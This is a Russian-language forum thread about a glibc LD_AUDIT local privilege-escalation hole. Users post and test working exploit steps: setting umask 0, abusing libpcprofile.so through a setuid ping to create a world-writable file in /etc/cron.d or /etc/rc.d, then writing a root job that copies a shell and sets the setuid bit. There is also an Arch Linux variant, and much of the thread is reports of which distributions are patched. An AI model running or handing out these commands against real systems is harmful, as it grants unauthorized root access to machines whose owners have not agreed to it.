Новый метод взлома, основанный на glibc

Ну теперь то точно хомячки потянутся, ведь теперь у нас всё по-серьёзному. Они это любят.

Теперь у Касперского есть серьезные доводы для использования в рекламе.

Только вот как Антивирусу Касперского предполагается чинить glibc?!...

выпускать glibc.deb|rpm kaspersky edition? :)

gentoo amd64 glibc видать тоже патченый?

не работает.

или надо chmod на /sbin/ping делать?

debian sid amd64 - не сработало
debian lenny x86 - сработало.

Смотрю, самый крутой способ для этих эксплоитов - заменить ping на что нибудь полезное, например на мгновенное выключение компьютера. :)

>gentoo amd64 glibc видать тоже патченый?
У меня файл создался и редактируется, но крон не сработал:
(*system*) BAD FILE MODE (/etc/cron.d/exploit)

Походу, к убунте уже прилетел патч для libc.

я про umask забыл.

может и заработает. пока некогда проверить...

В Slackware уже 2 дня как закрыли уязвимость.

Что то зачастили ошибки однако...

Stop reopening this vulnerability! :)

gentoo 32 бита — работает.

вывод x86_64 выходит в main stream и active maintain

PR AltLinux на LOR идёт полным ходом (:

gentoo amd64 glibc видать тоже патченый?

не работает.

ну ты не расстраивайся, все будет хорошо, у тебя потом получится, мы в тебя верим...

Соврал, это старую закрыли.

>В Slackware уже 2 дня как закрыли уязвимость.

Эту вроде пока не закрыли.

Arch Linux any — не работает. Где можно подробней про запуск прочитать?

что дистрибутивы OpenWall и Alt Linux, не подвержены атаке

Всем пофиг же

Аплодисменты Дрепперу стоя.

Mint 9 x64. Только что приехало обновление glibc. Не работает.

> для загрузки из нестандартных областях

Может все таки из областей?

Разве есть еще те камикадзы кто использует glibc версии >= 2.4 ? Оно ведь не работает из-за nptl с ядрами 2.4

Стабильный дебиан. Только что обновление на glibc прилетело из security.

А кони всё скачут и скачут, А избы горят и горят (С)

Постоянно проверяю все експлоиты, которые сдесь выкладывают. Еще ни один не сработал. Ubuntu Server.

-rw-r--r-- 1 root vertexua 4 2010-10-23 13:20 /etc/cron.d/exploit

А должно было каким-то чудом образоваться

-rw-rw-rw-

Ах, да, месяц наверное не обновляли, может больше

так ты умаск сделал?

Не делал )))) Все сработало. Забираю свои слова назад

>Arch Linux any — не работает.

У меня в арче файл создаётся (а это самое главное).

Где можно подробней про запуск прочитать?

На опеннете всё расписано по шагам.

На gentoo файл создается и редактируется, но не исполняется:

(*system*) BAD FILE MODE (/etc/cron.d/exploit1)

На CentOS 5.5 не заработало:

[user@localhost ~]$ umask 0
[user@localhost ~]$ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping
ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined symbol: la_version; ignored.
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
            [-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
            [-M mtu discovery hint] [-S sndbuf]
            [ -T timestamp option ] [ -Q tos ] [hop1 ...] destination

[user@localhost ~]$ printf "* * * * * root cp /bin/bash /tmp/exploit; chmod u+s /tmp/exploit\n" > /etc/cron.d/exploit
bash: /etc/cron.d/exploit: Permission denied

При этом файл /etc/cron.d/exploit создаётся, но записать в него почему-то не получается.

[root@localhost]# ls -l /etc/cron.d/exploit 
-rw-rw-rw- 1 root user 4 Oct 23 14:34 /etc/cron.d/exploit
[user@localhost ~]$ rpm -qf /usr/lib/libpcprofile.so 
glibc-utils-2.5-49.el5_5.6
[user@localhost ~]$ rpm -q glibc-utils --changelog | head
* Tue Oct 19 2010 Andreas Schwab <schwab@redhat.com> - 2.5-49.el5_5.6
- Never expand $ORIGIN in privileged programs (#643818, CVE-2010-3847)

* Sat Sep 25 2010 Andreas Schwab <schwab@redhat.com> - 2.5-49.el5_5.5
- Restore locking in free_check (#637067)

* Fri Jul 16 2010 Andreas Schwab <schwab@redhat.com> - 2.5-49.el5_5.4
- Fix POWER6 memcpy/memset (#614546)

* Wed Jun 16 2010 Andreas Schwab <schwab@redhat.com> - 2.5-49.el5_5.3
[

Впрочем, не получается видимо потому, что права на /etc/cron.d - 700.

может у нас крон не тот?

у меня vixie-cron.

жду уже пол часа появления копиии /bin/sh

^-(

можете верить....

но не выходит.

Крон тот же самый vixie-cron.

Копии не будет, крон не выполнить данную команду, ну не нравятся ему такие права.

В Slackware уже 2 дня как закрыли уязвимость.

Откуда такая информация?

Внимательнее прокручивай тред.

especially for ArchLinux users:

umask 0
LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/rc.d/functions.d/exploit" ping
echo -e '#!/bin/bash\ncp /bin/dash /usr/bin/sdash\nchmod u+s /usr/bin/sdash' > /etc/rc.d/functions.d/exploit
sudo reboot

/usr/bin/sdash -c 'whoami'
/usr/bin/sdash -c 'rm -f /usr/bin/sdash /etc/rc.d/functions.d/exploit'

Давай. Жги для генты.

У меня хоть и нет cron, но от этого не веселее. Могут записать куда угодно

нету её под рукой, уже года два не пользовался...

$ cat /etc/issue
Debian GNU/Linux 5.0 \n \l

работает, но не до конца, файл создается, но крон его не выполняет:

cron[2629]: Error: bad minute; while reading /etc/cron.d/exploit

$ cat /etc/cron.d/exploit 
* * * * * root cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit

на debian testing файл не создается

$ umask 0
$ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping
Usage: ping [-LRUbdfnqrvVaAD] [-c count] [-i interval] [-w deadline]
            [-p pattern] [-s packetsize] [-t ttl] [-I interface]
            [-M pmtudisc-hint] [-m mark] [-S sndbuf]
            [-T tstamp-options] [-Q tos] [hop1 ...] destination
$ ls -l /etc/cron.d/exploit
ls: невозможно получить доступ к /etc/cron.d/exploit: Нет такого файла или каталога
$ 

Не помню ни одной книжки про Линух где было бы
написано про то, что сам себе суидный бит это хорошо.

Опять же по умолчанию селинукс врублен если что ...

И вообще затрудняюсь вспомнить сервак с локальными ( баш ) юзерами ...

И кстати а пинг вообще зачем локальным юзерам то ? Может им тогда
сразу открыть tcpdump ?

Я не проверял, но разве критично что это ping?

Ты бы предпочёл X?

> Я не проверял, но разве критично что это ping

Например в книжке по слаке ( если я не ошибаюсь )
тама финдом ищут все проги с суидом в тюкают их ...

И вообще я уже сказал про локальных юзерах на серваках, хз
кто это. ( с бин-баш в смысле )

Создается но писать в файл не дает.

От рута конечно работает.